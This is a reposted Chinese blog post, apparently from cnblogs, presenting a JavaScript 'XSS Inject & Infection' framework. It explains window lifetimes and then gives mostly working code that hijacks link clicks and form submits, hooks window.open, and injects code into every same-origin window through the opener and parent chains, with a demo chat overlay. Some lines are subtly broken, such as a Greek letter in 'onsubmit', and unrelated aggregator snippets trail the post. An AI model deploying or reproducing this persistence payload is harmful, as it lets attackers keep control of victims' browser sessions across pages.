XSS代码注入框架

首先需要了解一下几点:

1.浏览器中Javascript变量的生命周期

  Javascript变量的生命周期并不是你声明这个变量个窗口闭就被回收,只要有引用就会一直持续到浏览器关闭。

2.window对象下方法会在在窗口被关闭时清掉,比如:

window.setTimeout(function(){alert('Hello')
},5000)

  如果窗口被关掉了,那么这个回调是不会执行的[事实上,所有window所有的NativeCode都没办法用了]。

  3.window.opener可以获取打开当前页面的窗口

  4.window.open打开的窗口只要同域,我们是可以操作的[拦截A标签,然后用window.open打开这个页面就好啦]

  5.跨域的窗口无法操作,尝试修改document.domain直接异常

  6.所有代码测试于Chrome浏览器,未测试其他浏览器

下面是代码实现,点击按钮可以立即体验:

点我开启XSS

  

 
/*** Created by AepKill on 2015-7-1 10:53:17* XSS Inject & Infection*/
var XSS=(function(){var MODULE_NAME='$AePKiLL_XSS_MODULE_1_0_0';var TOOL={extend:function(){if (arguments.length<=0) return {};var result={};for(var i= 0,l=arguments.length;i<l;i++){for (var j in arguments[i]){result[j]=arguments[i][j];}}return result;},//RunCodeinjectCode:function(win,code,args,self){if (! win.window === win){return false;}try {win.Function('(' + code + ').apply(this,arguments)').apply(self||win, args||[]);}catch(e){}return true;},dispatchMessage:function(winList,args){winList.getWinList().forEach(function(distWin){try{var message=distWin[MODULE_NAME]['Message'];message.dispatch.apply(message,Array.prototype.slice.call(args));}catch(e){}})},sysDispatchMessage:function(winList,args){}};/*Message*/function Message(){//消息var messageList={};//消息订阅this.subscription=function(msg){if (messageList[msg] === undefined ){messageList[msg]=new Array();}Array.prototype.slice.call(arguments,1).forEach(function(e){if (typeof  e == "function") messageList[msg].push(e);});};//消息退订this.unsubscribe=function(msg){var msglist=messageList[msg];Array.prototype.slice.call(arguments,1).forEach(function(e){for (var i=0;i<msglist.length;i++){if (msglist[i]==e){msglist.splice(i,1);i--;}}});};//消息派送this.dispatch=function(msg){var args=Array.prototype.slice.call(arguments,1);if (messageList[msg]){messageList[msg].forEach(function(e){e.apply(null,args);})}}}/*End With Message*//*WinList*/function CreateWinList(winList){function WinList(winList){var winList=winList.concat();this.deleteWindow=function(win){for (var i= 0,l=winList.length;i<l;i++){if (win===winList[i]){winList.splice(i,1);break;}}};this.hasWindow=function(win){return winList.indexOf(win)!==-1;};this.addWindow=function(win){if (this.hasWindow(win)) return ;winList.push(win);}this.getWinList=function(){return winList.concat();};this.isEmpty=function(){return winList.length===0;};this.clearCloseWindow=function(){winList.forEach(function(e,i){if (e.closed){winList.splice(i,1);}})}}WinList.prototype=new Message();return Object.freeze(new WinList(winList));}/*End With WinList*//*CoreModule*/function CoreModule(opt,winList,message,TOOL,globalObj){var window=this;var _open=window.open;var MODULE_NAME='$AePKiLL_XSS_MODULE_1_0_0';window[MODULE_NAME]={};var module=window[MODULE_NAME];module['Message']=message;if (module['RunCode'] === undefined) module['RunCode']=false;window.open=function(){var win=_open.apply(this,arguments);if (win){winList.dispatch('windowJoin',win);window['openWin']=win;};return win;};function afterLoad(){module['RunCode']=true;TOOL.injectCode(window,opt.runCode,[winList,window,message,globalObj],opt);window.document.addEventListener('click',function(e){var el= e.target;do{if (el.tagName == 'A'){e.preventDefault();e.stopPropagation();window.open(el.href);break;}el=el.parentNode;}while(el!=document)});window.document.addEventListener('submit', function(e){var name =  Math.random().toString();open('', name);var form = e.target;form.target = name;});window.addEventListener("unload", function( event ) {winList.dispatch('windowQuit',window,event);});};window.addEventListener('DOMContentLoaded',function(){if (module['RunCode']===false) afterLoad();});setTimeout(function(){if (module['RunCode']===false) afterLoad();},1000);}/*End With CoreModule*/var defaults={runCode:function(winList,win,message,global){/** winList   当前所有感染窗口的列表* win       执行代码环境的window对象* message   消息队列 可订阅、发送消息* global    全局对象* 说明:runCode在每个窗口都会执行一次* */console.log('汪汪汪------');}}return function(opt){var winList=CreateWinList([]);opt=TOOL.extend(defaults,opt||{});var globalObj=Object.freeze({dispatch:function(){TOOL.dispatchMessage(winList,arguments);},getWinList:function(){return winList.getWinList();},data:{}});winList.subscription('windowJoin',function(win){if (!win.window || win.closed) return ;winList.clearCloseWindow();var message=new Message();TOOL.injectCode(win,CoreModule,[opt,winList,message,TOOL,globalObj],win);globalObj.dispatch('windowJoin',win);winList.addWindow(win);//console.log('JOIN',winList.getWinList().length);
        });winList.subscription('windowQuit',function(win,event){winList.clearCloseWindow();if (winList.hasWindow(win)){winList.deleteWindow(win);}else{return;}globalObj.dispatch('windowQuit',win);if (!winList.isEmpty()){var hero=winList.getWinList()[0];TOOL.injectCode(hero,function(winList,win){setTimeout(function(){winList.dispatch('windowJoin',win);},500);},[winList,win]);}});//从iframe中往上遍历if (window.top != window.self){var win = window;while (win = win.parent) {}winList.dispatch('windowJoin',win);}else{winList.dispatch('windowJoin',window);}//遍历打开的窗口var temp1=window.opener;while(temp1){winList.dispatch('windowJoin',temp1);temp1=temp1.opener;};};
})();XSS({runCode:function(winList,win,message,global) {var window=win;function code() {var strVar = "";strVar += "";strVar += "        <h1 style=\"color: #ccc;text-align: center;height: 30px;line-height: 30px;padding: 5px;margin: 0px;\">XSS Inject<\/h1>";strVar += "        <p id='showBox'style=\"color:#fff;height: 298px;width: 580px;margin: 10px;border: 1px solid rgba(88,88,88,0.8);border-radius: 5px;overflow-x:hidden\">";strVar += "";strVar += "        <\/p>";strVar += "        <form style=\"width: 580px;margin: 10px;\" id=\"form1\">";strVar += "            <textarea name=\"content\"style=\"outline: none;height: 60px;width: 70%;resize:none\"><\/textarea>";strVar += "            <button style=\"outline: none;height: 60px;width: 20%;margin-left: 2%;vertical-align: top\">广播信息<\/button>";strVar += "        <\/form>";var css = "";css += "position:fixed;";css += "z-index:99999999;";css += "left:50%;";css += "top:50%;";css += "height50%;";css += "margin-left:-300px;";css += "margin-top:-225px;";css += "height: 450px;";css += "width: 600px;";css += "border-radius: 10px;";css += "box-shadow:0 0 10px 0 rgba(88,88,88,0.8);";css += "background:rgba(88,88,88,0.8) ";var div=document.createElement('div');div.style.cssText=css;div.innerHTML=strVar;document.body.appendChild(div);var text=document.querySelector('#showBox');function appendText(txt){text.innerHTML+=txt+'<br/>';}document.querySelector('#form1').οnsubmit=function(e){appendText('我说:'+this['content'].value)global.dispatch('Say', window,'['+document.title+'] 说:'+ this['content'].value);e.stopPropagation();e.preventDefault();return false;}appendText('['+document.title+']  页面被注入了代码');message.subscription('Say',function(win,message){if (win!==window) appendText(message);});message.subscription('windowJoin',function(win){appendText('['+win.document.title+']  页面被注入了代码');});message.subscription('windowQuit',function(win){appendText('['+win.document.title+']  页面被关闭了');});var imgList=window.document.querySelectorAll('img');var count=0;var timer=window.setInterval(function(){appendText('我说:我给大家发图片了'+ '<img src="'+ (imgList[count++]).getAttribute('src')+'"/>' )global.dispatch('Say', window,'['+document.title+'] 说:我给大家发图片了'+ '<img src="'+ (imgList[count++]).getAttribute('src')+'"/>' );if (count>=imgList){clearInterval(timer);}},2000);}if (document.body) {code();} else {window.addEventListener('DOMContentLoaded', code);}}
});
 

 

 

转载于:https://www.cnblogs.com/aepkill/p/4614888.html

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mzph.cn/news/405555.shtml

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

html转换vmax,CSS里px、em、rem、%、vw、vh、vmin、vmax这些单位的区别

不要删除CSS中常见的单位px&#xff1a;最常见的&#xff0c;页面按照精准样式展示&#xff0c;属于绝对单位em&#xff1a;基准点为父节点字体的大小&#xff0c;如果自身定义了font-size按自身来计算&#xff1b;也就是说这个em不是一个固定值&#xff0c;属于相对单位rem&am…

Qt中使用QFile对文本文件的读写

一、思路 1、Qt打开关闭文件用到QFile,包含头文件#include <QFile> 2、文件的读写用标准QTextStream&#xff0c;包含头文件#include <QTextStream> 二、具体实现 //打开fileQFile file(ui->lineEdit_filepath->text());if(!file.open(QIODevice::ReadWri…

Linux下定时器使用

From: http://blog.csdn.net/gudulyn/article/details/885334 Linux下的定时器有两种&#xff0c;以下分别介绍&#xff1a; 1、alarm 如果不要求很精确的话&#xff0c;用 alarm() 和 signal() 就够了 unsigned int alarm(unsigned int seconds)…

T-SQL SUM Functions

SQL Server SUM()函数&#xff0c;计算字段值和&#xff0c;不包括NULL值。 下面例子中&#xff0c;计算所有职员薪金总值&#xff1a; 数据源&#xff1a; SQL语句&#xff1a; SELECTSUM([Salary]) AS[Totals]FROM[dbo].[Member]执行结果&#xff1a;

React开发(235):document.body.clientHeight

document.body.clientHeight获取可视化高度

Qt模态界面设置setWindowModality禁止其他界面响应

一、模态与非模态 模态&#xff1a;启动模态界面时&#xff0c;例如弹出对话框强制用户从其他正在进行的业务中聚焦到当前对话框&#xff0c;除了该对话框整个应用程序窗口都无法接受用户响应&#xff0c;无法切换界面&#xff0c;无法切换当前Qt应用。这可以保证用户按照自己…

html定位fix,html 定位fixed

下面是编程之家 jb51.cc 通过网络收集整理的代码片段。编程之家小编现在分享给大家&#xff0c;也给大家做个参考。123#sub1{width:50px;height:80px;border:1px solid #dcdcdc;}#sub2{position:fixed;top:250px;right:20px;width:50px;height:80px;border:1px solid #dcdcdc;m…

OpenCV-CL: OpenCL加速计算机视觉技术

大家好&#xff01;我借这篇文章&#xff0c;分享给大家今年计算机视觉领域里的一些令人兴奋不已的最新进展。特别是最新OpenCV&#xff08;当前最流行的计算机视觉库&#xff09;的发布&#xff0c;您的计算机视觉应用程序可以在现代异构计算平台上充分利用CPU和GPU的全部计算…

如何在Microwindows中显示图片和安装字体

From: http://bbs.chinaunix.net/thread-1987116-1-1.html 一、前言Microwindows可以运行在 支持Framebuffer的 32位的 Linux系统上&#xff0c;或者也可以使用著名的 SVGALib[45] 库来进行图形显示。此外&#xff0c;它还被移植到16位的EL KS 和实模式的MSDOS上。Microwindows…

VS2008创建dll,并使用dll

原来一直使用vc6.0做开发&#xff0c;但是公司主要使用vs2008工具&#xff0c;刚开始使用的时候感觉非常不好用&#xff0c;但是一周下来&#xff0c;不禁感叹&#xff0c;还是新的好啊&#xff0c;嘿嘿&#xff01; 这里总结一下vs2008下创建dll并使用dll导出函数的方法&#…

MySQL常用语法记录

0、说明 记录MySQL使用到的常用语法。 1、MySQLDISTINCT唯一 2、MySQLLIMIT限制 3、MySQL ORDER排序升序 4、MySQL DESC降序 5、MySQL WHERE 过滤 6、MySQL 操作符 AND OR ,AND优先级高于OR 7、MySQL IN 8、MySQL NOT 否定之后跟的任何条件 9、MySQL LIKE通配符 可在任意位置…

React开发(245):ant design form自定义验证

<Form.Item label"联系人手机号&#xff1a;">{getFieldDecorator(contactMobile, {initialValue: type update ? activeUpdateData.contactMobile : ,rules: [{ required: true, message: 请输入联系人手机号 },{ pattern: isPhone, message: 手机号格式不…

武汉科技大学计算机转专业吗,武汉科技大学普通本科生专业选择与转专业管理办法...

武科大教〔2018〕28号第一条为了进一步深化教育教学改革&#xff0c;稳步推进学分制和大类培养&#xff0c;为学生提供灵活多样的学习方式&#xff0c;充分调动学生学习的积极性和主动性&#xff0c;促进学生个性化发展&#xff0c;根据《普通高等学校学生管理规定》(教育部令第…

js DOM——JS学习笔记2015-7-2(第73天)

这个是w3cschool上面的简易版教程&#xff0c;虽然简易&#xff0c;但是对整个JS DOM&#xff0c;有个大致的概念&#xff0c;同时引入思维导图这种图表法学习方式&#xff0c;期待更加便于记忆和管理 转载于:https://www.cnblogs.com/zhangxg/p/4615453.html

microwindows位图解析

From: http://blog.csdn.net/bisword/article/details/2740054 第1章 microwinodows图形显示框架 1.1 microwindows体系结构 Microwindows 采用了分层结构设计方法,其层次结构如下图所示。同时, 这里也列出 Microwindows 源代码目录树下的主要目录结构,以便于对照参考。 mic…

jQuery:动态改变html表单的目标页(Target)

看到Rick Strahl的最新博客Changing an HTML Form’s Target with jQuery&#xff0c;读完之后感觉文中给出的解决方案很简单很实用。借鉴原文&#xff0c;断断续续重新整理小结一下&#xff0c;本文最后提供一个简单demo下载&#xff0c;希望对您也有帮助。 1、问题来源 “页面…

花卉网页html,花卉管理系统(数据库+源码)

这是一个入门级示例&#xff0c;实现了花卉的 增加 和 查询功能资源下载此资源下载价格为2D币&#xff0c;请先登录资源文件列表花卉管理系统/FlowerManagerSys/.vs/FlowerManagerSys/v15/.suo , 53248花卉管理系统/FlowerManagerSys/.vs/FlowerManagerSys/v15/Server/sqlite3/…

Qt sqlit3的增、删、改、查、判断等基本操作接口

1、Qt sqlit3简介 Qt SQLite&#xff08;sql&#xff09;是一款不需要服务器的开源轻量级的数据库软件&#xff0c;可以集成在其他软件中&#xff0c;适合嵌入式系统应用。Qt5以上版本直接支持SQLite。具体的特性和语法可以参考RUNOOB. 这里我把自己项目中用到的基本操作函数贴…

ECNUOJ 2143 端午节快乐

端午节快乐 Time Limit:1000MS Memory Limit:65536KBTotal Submit:1720 Accepted:868 Description 有一段有趣的传说。公元前340年&#xff0c;爱国诗人、楚国大夫屈原&#xff0c;面临亡国之痛&#xff0c;于五月五日&#xff0c;悲愤地怀抱大石投汩罗江&#xff0c;为了不使鱼…